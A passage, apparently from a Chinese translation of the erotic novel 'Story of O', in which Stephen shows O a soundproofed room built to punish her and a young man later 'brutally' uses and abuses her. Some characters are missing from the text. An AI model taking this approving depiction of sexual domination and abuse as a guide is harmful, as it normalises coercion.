  O不禁笑出声来,“这不是太晚了点吗?”她说,“你们俩都够疯狂的。假如艾里克今天早上以前没有来过此地,您本来准备今天下午让我做甚麽事的?我们也许去散步了,还有甚麽?那麽咱们就去散步吧。也许您今天下午原来没有打算叫我来的?要是那样的话,我现在就离开这里……”

  “不,”斯蒂芬先生打断了她的话,“我的确是打算叫你来的,但不是要去散步,我想……”

  “您尽管说。”

  “来,让你看看更简单些。”

  他站起来,打开了正对壁炉的那面墙上的一扇门,它同通向他办公室的那扇门一模一样。

  O原来一直以为这扇门里是一个废弃不用的壁橱,此刻展现在她面前的,却是一间小小的卧房,是新油漆过的,窗上挂着深红色的丝。一座圆形的台子占了半间屋子的空间,台子两侧各有一根立柱,简直完全是塞莫斯音乐室那个舞台的复制品。

  “墙上和天花板上都着软木,对不对?”O猜道,“门是隔音的,而且你还安装了双层窗户?”

  斯蒂芬先生点头承认。

  “这是甚麽时候装修的?”O问。

  “从你回来。”

  “为甚麽?……”

  “为甚麽我一直等到今天?因为我一开始想把你交给其他男人,现在我却要为此惩罚你。我还从来没有处罚过你呢,O。”

  “我是属於您的,”O说,“处罚我吧!等艾里克来的时候……”

  一个小时之後,那个男孩子被带到这个房间来,当他看到在两根柱子之间被那种奇特的方式捆绑在那里的O时,他变得面色苍白,一边嗫嚅着,一边落荒而逃。

  O以为在她的有生之年再不会见到他了,可是在罗西她又一次到了他,那是在九月末。在他的要求下,她连续叁天拨在他的名下。在那几天里,他极其残暴地享用并且虐待了她。

上一篇年少时的偷窥经历下一篇观看妈妈的表演